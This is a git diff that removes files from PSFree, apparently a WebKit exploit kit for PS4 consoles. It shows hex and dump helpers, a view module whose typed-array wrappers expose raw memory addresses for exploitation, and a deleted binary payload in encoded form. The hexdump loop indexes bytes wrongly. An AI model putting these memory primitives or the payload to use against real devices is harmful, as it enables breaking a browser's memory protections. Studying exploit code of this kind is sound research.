-// mostly used to yield to the GC. marking is concurrent but collection isn't
-//
-// yielding also lets the DOM update. which is useful since we use the DOM for
-// logging and we loop when waiting for a collection to occur
-export function sleep(ms=0) {
-    return new Promise(resolve => setTimeout(resolve, ms));
-}
-
-export function hex(number) {
-    return '0x' + number.toString(16);
-}
-
-// no "0x" prefix
-export function hex_np(number) {
-    return number.toString(16);
-}
-
-// expects a byte array
-export function hexdump(view) {
-    const num_16 = view.length & ~15;
-    const residue = view.length - num_16;
-    const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length;
-
-    function chr(i) {
-        if (0x20 <= i && i <= 0x7e) {
-            return String.fromCodePoint(i);
-        }
-        return '.';
-    }
-
-    function to_hex(view, offset, length) {
-        return (
-            [...view.slice(offset, offset + length)]
-            .map(e => hex_np(e).padStart(2, '0'))
-            .join(' ')
-        );
-    }
-
-    let bytes = [];
-    for (let i = 0; i < num_16; i += 16) {
-        const long1 = to_hex(view, i, 8);
-        const long2 = to_hex(view, i + 8, 8);
-
-        let print = '';
-        for (let j = 0; j < 16; j++) {
-            print += chr(view[j]);
-        }
-
-        bytes.push([`${long1}  ${long2}`, print]);
-    }
-
-    if (residue) {
-        const small = residue <= 8;
-        const long1_len = small ? residue : 8;
-
-        let long1 = to_hex(view, num_16, long1_len);
-        if (small) {
-            for (let i = 0; i < 8 - residue; i++) {
-                long1 += ' xx';
-            }
-        }
-
-        const long2 = (() => {
-            if (small) {
-                return Array(8).fill('xx').join(' ');
-            }
-
-            let res = to_hex(view, num_16 + 8, residue - 8);
-            for (let i = 0; i < 16 - residue; i++) {
-                res += ' xx';
-            }
-
-            return res;
-        })();
-
-        let print = '';
-        for (let i = 0; i < residue; i++) {
-            print += chr(view[num_16 + i]);
-        }
-        for (let i = 0; i < 16 - residue; i++) {
-            print += ' ';
-        }
-
-        bytes.push([`${long1}  ${long2}`, print]);
-    }
-
-    for (const [pos, [val, print]] of bytes.entries()) {
-        const off = hex_np(pos * 16).padStart(max_off_len, '0');
-        log(`${off} | ${val} |${print}|`);
-    }
-}
-
-// make a JavaScript string
-export function jstr(buffer) {
-    let res = '';
-    for (const item of buffer) {
-        if (item === 0) {
-            break;
-        }
-        res += String.fromCodePoint(item);
-    }
-    // convert to primitive string
-    return String(res);
-}
diff --git a/psfree/module/view.mjs b/psfree/module/view.mjs
deleted file mode 100644
index 35b99c4..0000000
--- a/psfree/module/view.mjs
+++ /dev/null
@@ -1,261 +0,0 @@
-/* Copyright (C) 2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-import { Int, lohi_from_one } from './int64.mjs';
-import { Addr } from './mem.mjs';
-import { BufferView } from './rw.mjs';
-
-import * as config from '../config.mjs';
-import * as mt from './memtools.mjs';
-
-// View constructors will always get the buffer property in order to make sure
-// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
-// m_mode < WastefulTypedArray. This is to make caching the m_view field
-// possible. Users don't have to worry if the m_view they got from addr() is
-// possibly stale.
-//
-// see possiblySharedBuffer() from
-// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
-// at PS4 8.03
-//
-// Subclasses of TypedArray are still implemented as a JSArrayBufferView, so
-// get_view_vector() still works on them.
-
-function ViewMixin(superclass) {
-    const res = class extends superclass {
-        constructor(...args) {
-            super(...args);
-            this.buffer;
-        }
-
-        get addr() {
-            let res = this._addr_cache;
-            if (res !== undefined) {
-                return res;
-            }
-            res = mt.get_view_vector(this);
-            this._addr_cache = res;
-            return res;
-        }
-
-        get size() {
-            return this.byteLength;
-        }
-
-        addr_at(index) {
-            const size = this.BYTES_PER_ELEMENT;
-            return this.addr.add(index * size);
-        }
-
-        sget(index) {
-            return this[index] | 0;
-        }
-    };
-
-    // workaround for known affected versions: ps4 [6.00, 10.00)
-    //
-    // see from() and of() from
-    // WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4
-    // 8.0x
-    //
-    // @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this"
-    // isn't one of the built-in TypedArrays. this is a violation of the
-    // ECMAScript spec at that time
-    //
-    // TODO assumes ps4, support ps5 as well
-    // FIXME define the from/of workaround functions once
-    if (0x600 <= config.target && config.target < 0x1000) {
-        res.from = function from(...args) {
-            const base = this.__proto__;
-            return new this(base.from(...args).buffer);
-        };
-
-        res.of = function of(...args) {
-            const base = this.__proto__;
-            return new this(base.of(...args).buffer);
-        };
-    }
-
-    return res;
-}
-
-export class View1 extends ViewMixin(Uint8Array) {}
-export class View2 extends ViewMixin(Uint16Array) {}
-export class View4 extends ViewMixin(Uint32Array) {}
-
-export class Buffer extends BufferView {
-    get addr() {
-        let res = this._addr_cache;
-        if (res !== undefined) {
-            return res;
-        }
-        res = mt.get_view_vector(this);
-        this._addr_cache = res;
-        return res;
-    }
-
-    get size() {
-        return this.byteLength;
-    }
-
-    addr_at(index) {
-        return this.addr.add(index);
-    }
-}
-// see from() and of() comment above
-if (0x600 <= config.target && config.target < 0x1000) {
-    Buffer.from = function from(...args) {
-        const base = this.__proto__;
-        return new this(base.from(...args).buffer);
-    };
-    Buffer.of = function of(...args) {
-        const base = this.__proto__;
-        return new this(base.of(...args).buffer);
-    };
-}
-
-const VariableMixin = superclass => class extends superclass {
-    constructor(value=0) {
-        // unlike the View classes, we don't allow number coercion. we
-        // explicitly allow floats unlike Int
-        if (typeof value !== 'number') {
-            throw TypeError('value not a number');
-        }
-        super([value]);
-    }
-
-    addr_at(...args) {
-        throw TypeError('unimplemented method');
-    }
-
-    [Symbol.toPrimitive](hint) {
-        return this[0];
-    }
-
-    toString(...args) {
-        return this[0].toString(...args);
-    }
-};
-
-export class Byte extends VariableMixin(View1) {}
-export class Short extends VariableMixin(View2) {}
-// Int was already taken by int64.mjs
-export class Word extends VariableMixin(View4) {}
-
-export class LongArray {
-    constructor(length) {
-        this.buffer = new DataView(new ArrayBuffer(length * 8));
-    }
-
-    get addr() {
-        return mt.get_view_vector(this.buffer);
-    }
-
-    addr_at(index) {
-        return this.addr.add(index * 8);
-    }
-
-    get length() {
-        return this.buffer.length / 8;
-    }
-
-    get size() {
-        return this.buffer.byteLength;
-    }
-
-    get byteLength() {
-        return this.size;
-    }
-
-    get(index) {
-        const buffer = this.buffer;
-        const base = index * 8;
-        return new Int(
-            buffer.getUint32(base, true),
-            buffer.getUint32(base + 4, true),
-        );
-    }
-
-    set(index, value) {
-        const buffer = this.buffer;
-        const base = index * 8;
-        const values = lohi_from_one(value);
-
-        buffer.setUint32(base, values[0], true);
-        buffer.setUint32(base + 4, values[1], true);
-    }
-}
-
-// mutable Int (we are explicitly using Int's private fields)
-const Word64Mixin = superclass => class extends superclass {
-    constructor(...args) {
-        if (!args.length) {
-            return super(0);
-        }
-        super(...args);
-    }
-
-    get addr() {
-        // assume this is safe to cache
-        return mt.get_view_vector(this._u32);
-    }
-
-    get length() {
-        return 1;
-    }
-
-    get size() {
-        return 8;
-    }
-
-    get byteLength() {
-        return 8;
-    }
-
-    // no setters for top and bot since low/high can accept negative integers
-
-    get lo() {
-        return super.lo;
-    }
-
-    set lo(value) {
-        this._u32[0] = value;
-    }
-
-    get hi() {
-        return super.hi;
-    }
-
-    set hi(value) {
-        this._u32[1] = value;
-    }
-
-    set(value) {
-        const buffer = this._u32;
-        const values = lohi_from_one(value);
-
-        buffer[0] = values[0];
-        buffer[1] = values[1];
-    }
-};
-
-export class Long extends Word64Mixin(Int) {
-    as_addr() {
-        return new Addr(this);
-    }
-}
-export class Pointer extends Word64Mixin(Addr) {}
diff --git a/psfree/payload.bin b/psfree/payload.bin
deleted file mode 100644
index d5541fa0401912d85d7c0cc92f5babea04c602d4..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 262976
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
